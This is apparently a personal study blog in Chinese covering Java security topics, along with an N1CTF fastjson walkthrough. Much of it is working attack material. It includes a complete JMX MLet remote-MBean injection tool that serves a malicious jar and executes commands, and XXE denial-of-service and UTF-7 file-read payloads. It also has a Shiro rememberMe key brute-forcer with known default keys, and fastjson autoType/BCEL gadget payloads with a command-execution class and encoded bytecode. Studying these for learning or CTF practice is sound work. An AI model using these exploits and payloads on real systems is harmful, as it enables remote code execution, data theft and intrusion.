跟着Y4tacker学java

(持续跟新)

Y4tacker/JavaSec: a rep for documenting my study, may be from 0 to 0.1 (github.com)

基础知识

JMX

java管理扩展,用来管理和检测java程序,最常用到的就是对于JVM的监测和管理,比如JVM内存、CPU使用率、线程数、垃圾收集情况等等,最主要还是被用来做各种监控工具

image-20230918105421592

MBeanServer负责管理MBean,所有的MBean都要注册到MBeanServer上

通过ManagementFactory.getPlatformMBeanServer()获取当前JVM内的MBeanServer

JMX RMI攻击

攻击者可以远程注入一个恶意的MBean,再去调用里面的用于执行命令的方法

前提条件:

  • 允许远程访问,没有开启认证 (com.sun.management.jmxremote.authenticate=false)
  • 能够远程注册 MBean (javax.management.loading.MLet)

EvilMBean.java:

/**
 * 定义MBean接口和用来执行命令的方法
 */
public interface EvilMBean {
    public String runCommand(String cmd);
}

Evil.java: (接口类名去掉MBean后缀)

import java.io.BufferedReader;
import java.io.InputStreamReader;

/**
 * 类名要与实现的接口的前缀一样
 */
public class Evil implements EvilMBean {
    public String runCommand(String cmd) {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null) {
                stdout_err_data += s + "\n";
            }
            while ((s = stdError.readLine()) != null) {
                stdout_err_data += s + "\n";
            }

            proc.waitFor();
            return stdout_err_data;
        } catch (Exception e) {
            return e.toString();
        }
    }
}

将上述两个java文件编译后打包成jar包:

jar -cvf compromise.jar EvilMBean.class Evil.class

注意打包的java版本,这会有版本问题,1.8.131 打包的在 1.7.80 用不了。

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;

import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Iterator;

/**
 * Created by k1n9 on 2017/8/23.
 */
public class RemoteMbean {
    private static String JARNAME = "compromise.jar";
    private static String OBJECTNAME = "MLetCompromise:name=evil,id=1";
    private static String EVILCLASS = "Evil";

    public static void main(String[] args) {
        try {
        	//开启Http服务,提供带mlet标签的html和恶意MBean的jar包
            HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
            server.createContext("/mlet", new MLetHandler());
            server.createContext("/" + JARNAME, new JarHandler());
            server.setExecutor(null);
            server.start();
			//这里可以改成args的参数就可以在命令行下使用了,JMX的ip,端口,要执行的命令
            connectAndOwn("10.18.224.59", "2333", "id");

            server.stop(0);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    static void connectAndOwn(String serverName, String port, String command) {
        try {
        	//建立连接
            JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
            System.out.println("URL: " + u + ", connecting");

            JMXConnector c = JMXConnectorFactory.connect(u, null);
            System.out.println("Connected: " + c.getConnectionId());

            MBeanServerConnection m = c.getMBeanServerConnection();

            ObjectInstance evil_bean = null;
            try {
                evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
            } catch (Exception e) {
                evil_bean = null;
            }

            if (evil_bean == null) {
                System.out.println("Trying to create bean...");
                ObjectInstance evil = null;
                try {
                    evil = m.createMBean("javax.management.loading.MLet", null);
                } catch (javax.management.InstanceAlreadyExistsException e) {
                    evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
                }

                System.out.println("Loaded " + evil.getClassName());
				//调用 getMBeansFromURL 从远程服务器获取 MBean
                Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
                        new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
                        new String[] {String.class.getName()}
                        );
                HashSet res_set = (HashSet)res;
                Iterator itr = res_set.iterator();
                Object nextObject = itr.next();
                if (nextObject instanceof Exception) {
                    throw ((Exception)nextObject);
                }
                evil_bean = ((ObjectInstance)nextObject);
            }
				//调用恶意 MBean 中用于执行命令的函数
            System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
            System.out.println("Calling runCommand with: " + command);
            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
            System.out.println("Result: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    static class MLetHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
        	/**
             * mlet 标签
             * <MLET
			 * CODE = class | OBJECT = serfile
			 * ARCHIVE = "archiveList"
			 * [CODEBASE = codebaseURL]
			 * [NAME = mbeanname]
			 * [VERSION = version]
			 * >
			 * [arglist]
			 * </MLET>
             */
            String respone = String.format("<HTML><mlet code=%s archive=%s name=%s></mlet></HTML>", EVILCLASS, JARNAME, OBJECTNAME);
            System.out.println("Sending mlet: " + respone + "\n");
            t.sendResponseHeaders(200, respone.length());
            OutputStream os = t.getResponseBody();
            os.write(respone.getBytes());
            os.close();
        }
    }

    static class JarHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            System.out.println("Request made for JAR...");
            //这里的 compromise.jar 可以根据实际的路径来修改
            File file = new File("/Users/k1n9/Workspace/Java/compromise.jar");
            byte[] bytearray = new byte[(int)file.length()];
            FileInputStream fis = new FileInputStream(file);
            BufferedInputStream bis = new BufferedInputStream(fis);
            bis.read(bytearray, 0 , bytearray.length);
            t.sendResponseHeaders(200, file.length());
            OutputStream os = t.getResponseBody();
            os.write(bytearray, 0, bytearray.length);
            os.close();
        }
    }
}

就带过吧,不知道有什么用

JNDI注入

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

java Naming

java Directory

ObjectFactory

JNDI注入的问题就是出在可远程下载自定义的ObjectFactory类

Reference

对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

类字节码

利用javassist生成字节码 (都是代码,就不放上来了)

java中的XXE

内部实体与外部实体

这个概念还算比较重要故此特地记录一下

内部实体:如果一个实体是在DTD中声明的,它就被称为内部实体。 例如:<!ENTITY entity_name "entity_value">

外部实体:如果一个实体在DTD之外被声明,那么它就被称为外部实体,由SYSTEM标识。 例如:<!ENTITY entity_name SYSTEM "entity_value">

DOS攻击

构造恶意XML文件耗尽可用内存

<!DOCTYPE data SYSTEM "http://vps/dos.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>&tea;</data>
<!ENTITY % a0 "dos" >
<!ENTITY % a1 "%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;">
<!ENTITY % a2 "%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;">
<!ENTITY % a3 "%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;">
<!ENTITY % a4 "%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;">
<!ENTITY tea "%a4;" >
<!DOCTYPE data [
<!ENTITY a "a&b;" >
<!ENTITY b "&a;" >
]>
<data>&a;</data>

绕过waf

可能支持的协议有http/https/ftp/file/jar/netdoc/mailto/gopher等但是不同版本支持的协议不一致,具体可以在具体java版本下的sun.net.www.protocol包下看到,这里不多讲了

编码绕过

比如使用utf7

<?xml version="1.0" encoding="utf-7" ?>
+ADwAIQ-DOCTYPE ANY +AFs-
  +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-

可能造成XXE的组件及修复

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId
先实例化组件
//DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
//SAXBuilder sb = new SAXBuilder();


//禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //首选
//如果不能禁用DTDs,可以使用下两项,必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);        //防止外部实体POC 
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);   //防止参数实体POC

SPI

全称为Service Provider Interface,是一种服务发现机制。

通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类

不知道哪出了问题,尝试不成功,只能拿大佬的图

image-20230918124151214

package com.yyds;

public interface SPIService {
    void execute();
}
package com.yyds;

public class SpiImpl implements SPIService{
    public void execute() {
        System.out.println("SpiImpl 已经执行");
    }
}

在ClassPath路径下的resources中添加一个文件夹(即图中META-INF/services)

再建文件名为包名+类名 内容为要执行的类包名+类名

image-20230918124447218

我们有两种方式可以实现,一种是通过ServiceLoad.load()方法,由java.util包提供

另一种是通过Service.providers方法拿到实现类的实例,由sum.misc.Service提供

package com.yyds;

import sun.misc.Service;

import java.util.Iterator;
import java.util.ServiceLoader;

public class Test {
    public static void main(String[] args) {
        Iterator<SPIService> providers = Service.providers(SPIService.class);
        ServiceLoader<SPIService> load = ServiceLoader.load(SPIService.class);

        while(providers.hasNext()) {
            SPIService ser = providers.next();
            ser.execute();
        }
        System.out.println("--------------------------------");
        Iterator<SPIService> iterator = load.iterator();
        while(iterator.hasNext()) {
            SPIService ser = iterator.next();
            ser.execute();
        }
    }
}

image-20230918124638694

存在安全问题

写一个恶意类,导致命令执行

image-20230918124744831

image-20230918124755156

tomcat中容器的pipeline机制

tomcat由Connector和Container两部分组成,有四种Container实现类,分别是StandardEngine、StandardHost、StandardContext、SrandardWrapper

请求到达Engine容器时,先调用了自己的一个组件去处理,这个组件是pipeline,相关的还有个容器内部的组件叫做value组件

image-20230918141720888

pipeline 管道 value 阀门

first指向的是容器第一个非基础阀门的阀门,first在只有一个基础阀的时候并不会指向基础阀,因为如果指向基础阀的话就不需要判断非空然后返回基础阀了,这是个需要注意的点!

类加载隔离方法

类隔离技术

举例:

A、B两个jar包分别依赖了C的v1和v2版本,v2版本的Log类比v1版本新增了error方法,现在工程里面同时引入A和B两个jar包,以及C的v1和v2版本,打包时maven只能选择一个版本

默认情况下同一个项目的所有类都是用同一个类加载器加载的,所以不管你依赖了多少个版本的C,最终只会加载一个版本到JVM

要是选择v1版本,当B去访问Log.error方法时就会抛出异常java.lang.NoSuchMethodError

类冲突的问题若是向下兼容,把低版本排除即可,但若不向下兼容就陷入两难境地了

有人提出了类隔离技术来解决类冲突的问题

就是让每个模块使用独立的类加载器来加载

image-20230918171447416

实现类隔离

重写findClass

重写findClass会受到双亲委派机制的影响、不符合类隔离的目标

重写loadClass

反射修改final修饰的变量

modifiers实际就是一个int类型的26,并且每个修饰符都有一个int的值,比如private是2,static是8,final是16那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,而图中取反然后按位与操作就是这一步骤

package com.yyds;

import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class TestReflection {
    public static final String test = "abc";
    public static void main(String[] args) throws Exception{
        TestReflection testReflection = new TestReflection();
        Field test = testReflection.getClass().getDeclaredField("test");
        Field modifier = test.getClass().getDeclaredField("modifiers");
        modifier.setAccessible(true);
        modifier.setInt(test,test.getModifiers() & ~Modifier.FINAL);
        test.set(testReflection,"success");
        System.out.println(test.get(testReflection));
    }
}

基础链条

CC1-CC7

shiro550 shiro 721

1.2.4版本之前,固定key(kPH+bIxk5D2deZiIxcaaaA==)加密

1.2.4以上的版本如何判断密钥是否正确呢?文章 一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe 字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe 字段。

因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。

shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

import base64
import uuid
import requests
from Crypto.Cipher import AES
 
def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)
 
def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
 
    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY :" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
 
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            print("正确key:" + key)
            return key
        except Exception as e:
            print(e)

RMI

服务端 客户端 注册中心

xx打xx的多个方式(实际上就是在读代码)

public interface RemoteObj extends Remote {  
  
    public String sayHello(String keywords) throws RemoteException;  
}

实现该接口的类要继承 UnicastRemoteObject

如果不能继承 UnicastRemoteObject 就需要手工导出

UnicastRemoteObject.exportObject(this, 0);

继承 UnicastRemoteObject 类,用于生成 Stub(存根)和 Skeleton(骨架)

JNDI

new Reference()

new InitialContext()

fastjson

toJSONString() 调用getter

parse() 调用setter

parseObject() 既有parse 又有toJSON 所以 调用 setter和getter

getter自动调用还需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

setter自动调用需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

没有指定@type的,无论是parse还是parseObject都无法调用setter

Fastjson的一些其它功能点就是在为类属性调用getter/setter时会调用smartMatch()忽略掉_ -字符串

1.2.24

TemplatesImpl链

  • fastjson反序列化时需有Feature.SupportNonPublicField参数
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name不为null
  • _tfactory不为null
  • payload中记得带"_outputProperties":{ },毕竟要调用getoutputProperties
  • bytesValue对_bytecodes进行解码

JdbcRowSetImpl链

…….

后面的就是自己看文章的随便记录,太难了。。。。。

FastJSON调用getter常用两种方式,1、$ref,2、JSONObject。

$ref:>=1.2.36

JSONObject:<=1.2.36

1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;


{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$....."}}:{}}}

1.2.25-1.2.47都行,若不行,说明版本在1.2.25-1.2.32之间

要想使用$ref赋值,则不能使用JSONObject调用getter,因为在parse时就会调用到getter方法,无法等到处理完$ref的任务后再调用getter

$ref要想在低版本(<=1.2.36)调用getter,要进行绕过

小于1.2.36 $ref调用getter

#恶意类放入mapping

[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},]
#调用getter

[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$....."},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}]

源码分析,只能说每一步都是细节

通过N1CTF了解做题顺序,以及后续操作

普通Tomcat项目的JSON.parse,题目改成了SpringBoot fastJsonHttpMessageConverters。

路径故意报错,看后端框架为springboot

image-20230924161328311

指定@type

image-20230924161506267

image-20230924161445816

@type提交后发现后端产生了异常,而将@type放到value时不会产生异常,能够知道是因为设置了期望类导致type not match的原因,能够想到是SpringBoot常用FastJSON HttpMessageConverters方式。

image-20230924161726647

返回正常说明fastjson版本<1.2.48

改为www.baidu.com

image-20230924161839000

报错说明不存在DNS配置或不出网

然后去找是否存在RCE的利用类


{
	"a":{
		"@type":"java.lang.Class",
		"val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
	},
	"b":{
		"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
	},
	"username":"a",
	"password":"b"
}
org.apache.tomcat.dbcp.dbcp.BasicDataSource 
org.apache.tomcat.dbcp.dbcp2.BasicDataSource 
org.apache.ibatis.datasource.unpooled.UnpooledDataSource  (mybatis)

发现是mybatis,直接

{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$....."}}:{}}}

一般就可以了

这题的后续操作

但这里报错,说明版本在1.2.25 - 1.2.32

然后就是上面的$ref在低版本绕过调用getter

把数组放在value的位置

记得先放入mapping

{"x":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}],"username":"a","password":"b"}

然后报错

SpringBoot fastJsonHttpMessageConverters进行JSON.parse的时候会默认设置期望类为路由参数里对应的类,也就是期望类为com.n1ctf.oldfastjson.User

导致了Root context变为了com.n1ctf.oldfastjson.User对象,因为x并不是User的Field,会被设置为null,导致了之前构造payload里面的各种引用都需要更改

package com.n1ctf.oldfastjson;

public class User {
    private String username;    
    private String password;    
    private Object friend;
    。。。
}

friend属性的类型为Object,所以用他进行反序列化

import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {

    public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

        Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
        Object obj = m.invoke(null);

        m = obj.getClass().getMethod("getRequest");
        Object request = m.invoke(obj);

        m = obj.getClass().getMethod("getResponse");
        Object response = m.invoke(obj);

        m = request.getClass().getMethod("getParameter", String.class);

        String cmd = (String) m.invoke(request, "cmd");
        if(cmd == null){
            cmd = "id";
        }
        String[] cmds = {"sh", "-c", cmd};
        String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
        
//        读取f111111ag.txt的内容
//        InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
//        output = new Scanner(inputStream).useDelimiter("\\A").next();

        m = response.getClass().getMethod("getWriter");
        PrintWriter printWriter = (PrintWriter) m.invoke(response);
        printWriter.println(output);
        printWriter.flush();
        printWriter.close();

    }

}
{"a":[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},],"username":"asd","password":"asd"}
{
"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bW$hU$U$fe$86$5c$ce0$9d$96$Q$a0eZ$LE$a9$N$F$82$d6kC$c5$om$z$g$$$S$E$91z$99L$O$c9$c0d$86$ce$85$e2$b5$5e$ea$fd$5e$9f$fd$F$3e$f9$92$b6$ba$ea$ea$83k$e9$f2$c1W$97$P$fa$e2$8b$fe$Ju$9f$5c$m$90$d4$5cN$ce$f9$f6$3e$7b$ef$f3$ed$7dv$e6$e7$7f$be$fd$k$c0$fd$f8RA$x$kWp$k$93bxB$c6$93$K$d2$98$921$cd0$a3$80a$96$e1$v$Fs$c8$I$cdy$ZO$LpA$c6$a2$8cg$Y$96d$9c$90$f1$ac$8ce$Z$X$Y$9eS$f0$3c$5e$Q$c3$8b$Ktd$Vt$c1$90$91$T$bf$5c$M$x2$f2$M$F$F$3d0$c5$b0$w$865$GKB$f4$94i$9b$fe$98$84Pb$60ABx$c2$c9q$Jmi$d3$e6$d3A1$cb$ddy$3dk$R$SO$3b$86n$z$e8$ae$v$d6U0$ec$XL$8fl$a4$cfn$98$d6$a8$84N$97_$M$b8$e7O8$b6$cf7$fd$f3$8e$95$e3$ae$84$f6$f4$aa$be$a1$8fX$ba$9d$l$99$b0t$cf$pU$a9$u$e1$60$j$ee$f2$V$8b$h$fe$c8$U$f7$LN$8e$UBNvU$b8$ddV$99$c9$ae$92$G$89X$d5$8d$E$d9$e5$de$bac$7b$UK$c8$u$e6v$eag$7c$d7$b4$f3$a4$l$s$R$85$d9$b1$dcL$Yu$C$7f$3d$m$5b$7b$d6$J$f1$X$5d$d3$X1wUtMgdv$h$s$f5$bd$Z_7$d6$a6$f4$f52$FD$n$r$8c$a1H$e9$a2$b4HP$cen$g$7c$dd7$v$s$G$9b$c1aXg$b8$c8$40$s$95$8c$T$b8$G$3fg$K$eaZ$FeI$e1C$c5$5d$e8g$f0T$f8$ITl$e0$92$84S$8e$9bOz$o$a0$fc$8a$ab$X$f9$r$c7$5dK$5e$e2$d9$a4Qa6Ye$m9$d7$84p$86M$V$_$e1e$caG$9e$fbU$8dq$9f$O$9c$N$7cND$b4$edJ$87$8aW$f0$aa$84$d8n$aa$e9$5c$w$5e$c3$eb$w$$$e3$N$8a$7f$db$9a$8a7$c5$8e$3de$a4$96$B$95V$b3$ba$I$b7$cc$60l7$d9$SZLJQ$8bW$a0a$d8$a0$ba$uk$E$bei$8dd$M$dd$b6E$e8o$a9x$hWT$bc$83w$Z$deS$f1$3e$3e$Q$E$7dH$5b$$$8c$ab$f8$I$l$ab$f8$E$9f$S$81$e4$ad$96$ac$8e$s$b9R$f1$Z$3eW$f1$F$faU$5cE$3fU$81$60$5cB$f7$edj$ae$ce$cc$e4$ccV$g$r$i$d9$c5$d6$b4$e3$9fs$C$3bW$a7$d2$bb$ad2$edd$C$a3P$b1X$a71$d8$e8u$d2$de$a0$x$r$c4$f3$baK$87i$eer$d2$b2x$5e$b7$c6$N$83$7b$5e$9dJ$j$bb$f3$F$97$eb$U$fe$5e$pp$5dn$fb$b5ugb$m$bd$5b$8b$w$b8$8b$7cU$eb$a5$7c$9e$b4$a3$97o$a9$b6C$bdN$q$f64$VP$S$y$9a$94$R$JG$T$8d$d7$ab$c1$o$d9j$t$ffg$b8a$e9$$$cf$d5$98$3f$ddd$efr$c3$de$81$ff$eb$XQ$93$f8$5c$a32$3c$99h$ec$Z$cb$8d$d0$40$b3$ce$o$Ln$w$c7$e9h$a4c$b4Ru$b5$a0$db$b7$c5s$81$ed$9bE$5e$bd$p$b5E$d7$O$TUX$f4$p$be$c9$a9$fc$T$89$s$N$a9$7e$c7$ac$eb$88$ac$8f$eepU$F$r$ec$pW$936$b5$$$da$c9uj$a7$Hj$eeD$Fo$Lh$7bw$a2$a9$404$7c5$f0$f8$Zn$99$c5$caM$3av$fb$q$d6$dfSq$I$9b$Khw$91muUVn$a6$96$zHhb$91$iGV$ac$40t$82$88a9$kG$l$ee$a4$7f$3a$f1$a2$ff$G$d1$R$d1$82$a3$b4$f8$jQ$u$84$fe$7d$fc$g$a4$ebh$v$n$U$P$97$QI$P$c6$a3$a1$9b$60$r$c8SC$S$cdZKP$a6$87K$d8$TW$x$f8$de$a9$a1$e1$w$9e$K$97$F$fb$g$F$R$z$y$qma$92$y$85$e2$b1LY$ac$85i$ddJ$ebvZ$x$b7$QKE$b5$e8$8f$60$f1x$w$g$bd$89$YI$3a2K$e1xgf$v$a2E3$v$f6$j$ba$96$aec$bfF$d6$P$94$d0$7d$NZ$fc$60$J$87J$b8$p$rk$R$e1$e1$f0$96o$zRu$7e$L$3d$a9V$adU$93K$e8$d5$I8$o$86$beo$e8$b0$n$dcM$e3$i$3ai$dc$870b$f4$8e$e3$Q$3a$88$92$$$dc$87$fd$YC7$3d0hX$qt$N$87$a9A$f7$e0$Kz$a9$5d$f6$e1$x$a2$f2$G$R$f8$Ti$ffJ$96$fe$c01$fc$89$E$fe$c2q$9a$B$x$VB$J$Z$a0$df$Y$7e$p$7c$90H$3f$84_0$84$e12$f1$3f$m$89$R$8ac$M_$e3$k$9a$85$c9$d3U$dcK$b3$I$f9Z$c5$J$8a$oJ$9e$d2$f44$f3$A$3d$9a$dc$m$ad$H$J$93$c9c$i$P$e1aJ$e6I$b2$de$D$e9_$K$8a1$a4$YF$ZN1$3cR$fb$8c$91$fcQ$fa$aad$f34$c6$f1$Y$sp$86$e28KX$L$ce$fd$H$b6$d8$a1$99$$$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}

相比之前的数组,在原来的基础上添加了.friend

"driverClassLoader":{"$ref":"$.friend[1]"},

"driver":{"$ref":"$.friend.connection"}

image-20230924164904743

jar命令查看jar包里的文件

然后把脚本的注释部分(读取f1111ag.txt)去掉注释,再来一遍即可

使用JSONObject调用getter

关键是设置"$ref": ".."

